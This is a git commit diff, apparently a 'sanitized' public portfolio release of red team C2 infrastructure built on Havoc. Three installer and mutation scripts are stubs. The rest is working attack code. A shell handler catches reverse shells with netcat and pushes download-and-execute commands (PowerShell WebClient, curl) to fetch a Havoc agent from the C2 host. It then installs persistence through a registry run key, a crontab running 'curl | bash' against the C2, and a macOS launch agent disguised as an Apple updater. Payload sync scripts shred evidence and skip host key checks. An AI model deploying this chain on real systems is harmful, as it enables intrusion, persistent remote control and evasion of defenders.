Initial public portfolio release
Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
This commit is contained in:
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
# OMITTED — Havoc C2 framework installer
|
||||
#
|
||||
# Installs Havoc C2 teamserver and client from source, configures systemd service,
|
||||
# sets up operator accounts, and applies hardening (non-default ports, TLS certs,
|
||||
# firewall rules restricting access to redirector IPs only).
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
echo "[!] Havoc installer not included in public release."
|
||||
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
# OMITTED — Havoc profile mutation script
|
||||
#
|
||||
# Generates a randomized Havoc teamserver profile (.yaotl) for each engagement.
|
||||
# Randomizes sleep jitter, kill dates, working hours, and C2 profile fields.
|
||||
# Feeds output directly into the teamserver configuration pipeline.
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
echo "[!] Havoc profile mutator not included in public release."
|
||||
@@ -0,0 +1,218 @@
|
||||
#!/bin/bash
|
||||
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
|
||||
|
||||
# Configuration
|
||||
LISTEN_PORT=4488
|
||||
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||
HAVOC_PORT=40056 # Havoc default Teamserver port
|
||||
HAVOC_USER="admin"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
WINDOWS_PAYLOAD="windows/agent_win.exe"
|
||||
LINUX_PAYLOAD="linux/agent_linux"
|
||||
|
||||
# Set secure permissions
|
||||
umask 077
|
||||
|
||||
# Logging function (minimal and encrypted)
|
||||
log() {
|
||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||
local message="$1"
|
||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
|
||||
}
|
||||
|
||||
# Detect OS function
|
||||
detect_os() {
|
||||
local connection=$1
|
||||
|
||||
# Send commands to determine OS
|
||||
echo "echo \$OSTYPE" > $connection
|
||||
sleep 1
|
||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||
|
||||
if [[ $ostype == *"win"* ]]; then
|
||||
echo "windows"
|
||||
elif [[ $ostype == *"darwin"* ]]; then
|
||||
echo "macos"
|
||||
elif [[ $ostype == *"linux"* ]]; then
|
||||
echo "linux"
|
||||
else
|
||||
# Try Windows-specific command
|
||||
echo "ver" > $connection
|
||||
sleep 1
|
||||
winver=$(cat $connection | grep -i "microsoft windows")
|
||||
|
||||
if [[ -n "$winver" ]]; then
|
||||
echo "windows"
|
||||
else
|
||||
# Default to Linux if we can't determine
|
||||
echo "linux"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# Get Havoc password
|
||||
get_havoc_password() {
|
||||
# Extract password from Havoc profile
|
||||
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
|
||||
echo $HAVOC_PASS
|
||||
}
|
||||
|
||||
# Deploy appropriate Havoc agent based on OS
|
||||
deploy_agent() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Deploying Havoc agent for detected OS: $os_type"
|
||||
|
||||
# Get the latest payload paths from manifest
|
||||
local manifest="/root/Tools/Havoc/payloads/manifest.json"
|
||||
if [ -f "$manifest" ]; then
|
||||
if [ "$os_type" == "windows" ]; then
|
||||
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE"
|
||||
elif [ "$os_type" == "linux" ]; then
|
||||
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN"
|
||||
fi
|
||||
else
|
||||
# Use default paths if manifest doesn't exist
|
||||
if [ "$os_type" == "windows" ]; then
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe"
|
||||
elif [ "$os_type" == "linux" ]; then
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux"
|
||||
fi
|
||||
fi
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Setup Python HTTP server for payload delivery
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use PowerShell to download and execute
|
||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
linux)
|
||||
# Setup Python HTTP server for payload delivery
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||
chmod +x /tmp/havoc_payloads/update
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use curl to download and execute
|
||||
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
macos)
|
||||
# For macOS, we'll attempt to use the Linux payload
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||
chmod +x /tmp/havoc_payloads/update
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use curl to download and execute
|
||||
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Havoc agent deployment command sent"
|
||||
}
|
||||
|
||||
# Establish persistence based on OS
|
||||
establish_persistence() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Attempting to establish persistence on $os_type"
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Windows persistence via registry run key
|
||||
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
||||
;;
|
||||
linux)
|
||||
# Linux persistence via crontab
|
||||
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
|
||||
;;
|
||||
macos)
|
||||
# macOS persistence via launch agent
|
||||
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
||||
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Persistence commands sent for $os_type"
|
||||
}
|
||||
|
||||
# Main shell handler loop
|
||||
handle_connections() {
|
||||
log "Shell handler started on port $LISTEN_PORT"
|
||||
|
||||
# Use mkfifo for bidirectional communication
|
||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||
trap 'rm -f $PIPE_PATH' EXIT
|
||||
|
||||
while true; do
|
||||
# Clean up existing pipe
|
||||
rm -f $PIPE_PATH
|
||||
mkfifo $PIPE_PATH
|
||||
|
||||
log "Waiting for incoming connection..."
|
||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||
NC_PID=$!
|
||||
|
||||
# Wait for connection to be established
|
||||
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
||||
sleep 1
|
||||
# Check if nc is still running
|
||||
if ! kill -0 $NC_PID 2>/dev/null; then
|
||||
log "Netcat process died, restarting..."
|
||||
rm -f $PIPE_PATH $PIPE_PATH.output
|
||||
continue 2 # Restart the outer loop
|
||||
fi
|
||||
done
|
||||
|
||||
log "Connection received, detecting OS..."
|
||||
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
||||
log "Detected OS: $DETECTED_OS"
|
||||
|
||||
# Deploy Havoc agent
|
||||
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Establish persistence
|
||||
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Keep connection alive for manual operation if needed
|
||||
log "Havoc agent deployed, maintaining shell connection..."
|
||||
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
|
||||
|
||||
# Wait for connection to close
|
||||
wait $NC_PID
|
||||
log "Connection closed, cleaning up and restarting listener..."
|
||||
rm -f $PIPE_PATH.output
|
||||
done
|
||||
}
|
||||
|
||||
# Start the shell handler
|
||||
handle_connections
|
||||
@@ -0,0 +1,10 @@
|
||||
#!/bin/bash
|
||||
# OMITTED — implant mutation script
|
||||
#
|
||||
# Randomizes Havoc Demon source identifiers (User-Agent, URI paths, named pipe
|
||||
# names, mutex strings) before each compile to defeat signature-based detection.
|
||||
# Patches TransportHttp.c, Config.c, and the build Makefile in-place, compiles
|
||||
# a fresh shellcode blob, and backs up the previous payload with a timestamp.
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
echo "[!] Implant mutator not included in public release."
|
||||
@@ -0,0 +1,302 @@
|
||||
#!/bin/bash
|
||||
# post_install_c2.sh - Post-installation setup for C2 server
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# Default settings
|
||||
DEBUG=false
|
||||
RUN_ON_REDIRECTOR=false
|
||||
|
||||
# Show usage information
|
||||
function show_usage() {
|
||||
echo "Usage: $0 [options]"
|
||||
echo ""
|
||||
echo "Options:"
|
||||
echo " -d, --debug Enable debug/verbose output"
|
||||
echo " -r, --run-on-redirector Run post-install script on redirector"
|
||||
echo " -h, --help Show this help message"
|
||||
echo ""
|
||||
}
|
||||
|
||||
# Process command line arguments
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
-d|--debug)
|
||||
DEBUG=true
|
||||
shift
|
||||
;;
|
||||
-r|--run-on-redirector)
|
||||
RUN_ON_REDIRECTOR=true
|
||||
shift
|
||||
;;
|
||||
-h|--help)
|
||||
show_usage
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
echo "Unknown option: $1"
|
||||
show_usage
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Debug function - only prints if DEBUG is true
|
||||
function debug() {
|
||||
if [ "$DEBUG" = true ]; then
|
||||
echo -e "${BLUE}[DEBUG] $1${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Function to check if domain resolves to current IP
|
||||
check_dns() {
|
||||
domain=$1
|
||||
current_ip=$(curl -s ifconfig.me)
|
||||
resolved_ip=$(dig +short $domain)
|
||||
|
||||
debug "Checking DNS for $domain"
|
||||
debug "Current IP: $current_ip"
|
||||
debug "Resolved IP: $resolved_ip"
|
||||
|
||||
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||
echo -e "Current IP: $current_ip"
|
||||
echo -e "Resolved IP: $resolved_ip or not set"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to set up Let's Encrypt
|
||||
setup_letsencrypt() {
|
||||
domain=$1
|
||||
email=$2
|
||||
|
||||
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||
debug "Domain: $domain, Email: $email"
|
||||
|
||||
# Stop Havoc service temporarily to free port 80
|
||||
systemctl stop havoc 2>/dev/null
|
||||
debug "Stopped Havoc service"
|
||||
|
||||
# Get certificate
|
||||
debug "Running certbot to obtain certificate"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||
else
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
cert_result=$?
|
||||
debug "Certbot result code: $cert_result"
|
||||
|
||||
if [ $cert_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||
|
||||
# Configure applications to use the certificate if needed
|
||||
if [ -f "/etc/postfix/main.cf" ]; then
|
||||
debug "Updating Postfix configuration with new certificate"
|
||||
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
|
||||
sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
|
||||
fi
|
||||
|
||||
# Restart Havoc
|
||||
debug "Restarting Havoc service"
|
||||
systemctl start havoc
|
||||
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||
|
||||
# Restart Havoc
|
||||
debug "Restarting Havoc service"
|
||||
systemctl start havoc
|
||||
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to display DKIM/DMARC records
|
||||
show_dns_records() {
|
||||
domain=$1
|
||||
|
||||
debug "Showing DNS records for $domain"
|
||||
|
||||
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
|
||||
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
|
||||
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
echo -e "Name: mail._domainkey.$domain"
|
||||
echo -e "Value:"
|
||||
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
|
||||
echo -e "\n${GREEN}=================================================${NC}"
|
||||
fi
|
||||
|
||||
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
|
||||
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
echo -e "Name: _dmarc.$domain"
|
||||
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
}
|
||||
|
||||
# Function to test redirector connection
|
||||
test_redirector() {
|
||||
# Check if SSH to redirector is configured
|
||||
debug "Testing redirector connection"
|
||||
|
||||
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||
echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'"
|
||||
else
|
||||
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
ssh_result=$?
|
||||
debug "SSH connection result: $ssh_result"
|
||||
|
||||
if [ $ssh_result -eq 0 ]; then
|
||||
echo -e "${GREEN}SSH connection to redirector successful!${NC}"
|
||||
echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Could not connect to redirector.${NC}"
|
||||
echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}"
|
||||
echo -e "If you need to access the redirector, please check deployment logs."
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to synchronize payloads with redirector
|
||||
sync_payloads() {
|
||||
# Check if sync script exists
|
||||
debug "Attempting to synchronize payloads with redirector"
|
||||
|
||||
if [ -f "/root/Tools/secure_payload_sync.sh" ]; then
|
||||
echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
/root/Tools/secure_payload_sync.sh
|
||||
else
|
||||
/root/Tools/secure_payload_sync.sh >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
sync_result=$?
|
||||
debug "Payload sync result: $sync_result"
|
||||
|
||||
if [ $sync_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Payload synchronization successful${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Payload synchronization failed${NC}"
|
||||
echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "\n${YELLOW}Payload sync script not found${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to run redirector post-install script
|
||||
run_redirector_setup() {
|
||||
echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}"
|
||||
debug "Checking if we can connect to redirector"
|
||||
|
||||
# First, test the connection
|
||||
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||
# Check if post_install_redirector.sh exists on the redirector
|
||||
debug "Checking for post_install_redirector.sh on redirector"
|
||||
ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
|
||||
|
||||
check_result=$?
|
||||
debug "Script check result: $check_result"
|
||||
|
||||
if [ $check_result -eq 0 ]; then
|
||||
echo -e "${BLUE}Running post-install script on redirector...${NC}"
|
||||
# Pass the debug flag if it's enabled here
|
||||
if [ "$DEBUG" = true ]; then
|
||||
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug"
|
||||
else
|
||||
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh"
|
||||
fi
|
||||
|
||||
redir_setup_result=$?
|
||||
debug "Redirector setup result: $redir_setup_result"
|
||||
|
||||
if [ $redir_setup_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Redirector post-installation completed successfully${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Redirector post-installation failed${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}post_install_redirector.sh not found on redirector${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}SSH configuration for redirector not found${NC}"
|
||||
echo -e "${YELLOW}Cannot run post-installation on redirector${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Main execution
|
||||
debug "Starting post-installation process with debug mode: $DEBUG"
|
||||
debug "Run on redirector flag: $RUN_ON_REDIRECTOR"
|
||||
|
||||
echo -e "\n${BLUE}Running post-installation checks...${NC}"
|
||||
|
||||
# Get domain information
|
||||
read -p "Enter primary domain: " domain
|
||||
read -p "Enter email for Let's Encrypt: " email
|
||||
|
||||
# Check DNS configuration
|
||||
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||
check_dns $domain
|
||||
|
||||
# Ask if user wants to set up Let's Encrypt certificates
|
||||
read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl
|
||||
if [ "$setup_ssl" = "y" ]; then
|
||||
setup_letsencrypt $domain $email
|
||||
fi
|
||||
|
||||
# Show DNS records to configure
|
||||
show_dns_records $domain
|
||||
|
||||
# Test redirector connection
|
||||
test_redirector
|
||||
|
||||
# Ask if user wants to sync payloads
|
||||
read -p "Synchronize payloads with redirector? (y/n): " sync_payload
|
||||
if [ "$sync_payload" = "y" ]; then
|
||||
sync_payloads
|
||||
fi
|
||||
|
||||
# Ask if user wants to run post-install on redirector
|
||||
if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then
|
||||
read -p "Run post-installation setup on redirector? (y/n): " run_on_redir
|
||||
if [ "$run_on_redir" = "y" ]; then
|
||||
run_redirector_setup
|
||||
fi
|
||||
fi
|
||||
|
||||
echo -e "\n${GREEN}Post-installation checks complete!${NC}"
|
||||
echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}"
|
||||
echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}"
|
||||
@@ -0,0 +1,150 @@
|
||||
#!/bin/bash
|
||||
# secure_payload_sync.sh - OPSEC-focused payload distribution
|
||||
|
||||
# Configuration
|
||||
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
|
||||
REDIRECTOR_IP="{{ redirector_ip }}"
|
||||
REDIRECTOR_USER="root"
|
||||
SSH_KEY_PATH="/root/.ssh/id_ed25519"
|
||||
REMOTE_PAYLOAD_DIR="/var/www/resources"
|
||||
ENCRYPTED_TRANSFER=true
|
||||
LOG_FILE="/root/Tools/logs/payload_sync.log"
|
||||
LOG_RETENTION_DAYS=3
|
||||
MAX_RANDOM_DELAY=300 # Max random delay in seconds
|
||||
|
||||
# Create minimal timestamped log with auto-rotation
|
||||
log() {
|
||||
mkdir -p $(dirname $LOG_FILE)
|
||||
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
|
||||
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
|
||||
}
|
||||
|
||||
# Add random delay for OPSEC
|
||||
sleep_random() {
|
||||
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
|
||||
log "Adding random delay of $DELAY seconds"
|
||||
sleep $DELAY
|
||||
}
|
||||
|
||||
# Generate payload manifest and check for changes
|
||||
check_for_changes() {
|
||||
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
|
||||
log "ERROR: Payload directory not found"
|
||||
return 1
|
||||
fi
|
||||
|
||||
TMP_DIR=$(mktemp -d)
|
||||
MANIFEST_FILE="$TMP_DIR/manifest"
|
||||
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
|
||||
|
||||
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
|
||||
HASH_FILE="/root/Tools/.payload_hash"
|
||||
|
||||
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
|
||||
log "No payload changes detected"
|
||||
secure_delete $TMP_DIR
|
||||
return 1
|
||||
fi
|
||||
|
||||
echo $CURRENT_HASH > $HASH_FILE
|
||||
return 0
|
||||
}
|
||||
|
||||
# Secure deletion of files/directories
|
||||
secure_delete() {
|
||||
if [ -d "$1" ]; then
|
||||
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
|
||||
rm -rf "$1" 2>/dev/null
|
||||
elif [ -f "$1" ]; then
|
||||
shred -n 3 -z -u "$1" 2>/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
# Encrypt archive with random password
|
||||
encrypt_archive() {
|
||||
SRC="$1"
|
||||
DEST="$2"
|
||||
|
||||
# Generate random password
|
||||
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
|
||||
PASS_FILE=$(mktemp)
|
||||
echo $PASSWORD > $PASS_FILE
|
||||
|
||||
# Encrypt the archive
|
||||
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
|
||||
|
||||
# Store password temporarily for transfer
|
||||
echo $PASSWORD
|
||||
|
||||
# Securely delete password file
|
||||
secure_delete $PASS_FILE
|
||||
}
|
||||
|
||||
# Main execution
|
||||
main() {
|
||||
log "Starting secure payload sync"
|
||||
|
||||
# Add randomized timing
|
||||
sleep_random
|
||||
|
||||
# Check for payload changes
|
||||
check_for_changes || exit 0
|
||||
|
||||
# Generate random archive name for OPSEC
|
||||
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
|
||||
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
|
||||
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
# Create payload archive
|
||||
log "Creating payload archive"
|
||||
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
|
||||
|
||||
# Encrypt archive if enabled
|
||||
PASSWORD=""
|
||||
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||
log "Encrypting payload archive"
|
||||
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
|
||||
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
|
||||
else
|
||||
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
|
||||
fi
|
||||
|
||||
# Transfer archive to redirector
|
||||
log "Transferring payloads to redirector"
|
||||
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
|
||||
|
||||
# Handle remote extraction with decryption if needed
|
||||
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||
REMOTE_CMD="
|
||||
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||
TEMP_DIR=\$(mktemp -d)
|
||||
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
|
||||
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
|
||||
# Clean up
|
||||
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
|
||||
rm -rf \$TEMP_DIR
|
||||
# Update web server if needed
|
||||
systemctl reload nginx 2>/dev/null
|
||||
"
|
||||
else
|
||||
REMOTE_CMD="
|
||||
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
|
||||
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
|
||||
systemctl reload nginx 2>/dev/null
|
||||
"
|
||||
fi
|
||||
|
||||
# Execute command on redirector
|
||||
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
|
||||
|
||||
# Clean up local temp files
|
||||
log "Cleaning up temporary files"
|
||||
secure_delete $TEMP_DIR
|
||||
|
||||
log "Payload sync completed successfully"
|
||||
}
|
||||
|
||||
# Run main function
|
||||
main
|
||||
Reference in New Issue
Block a user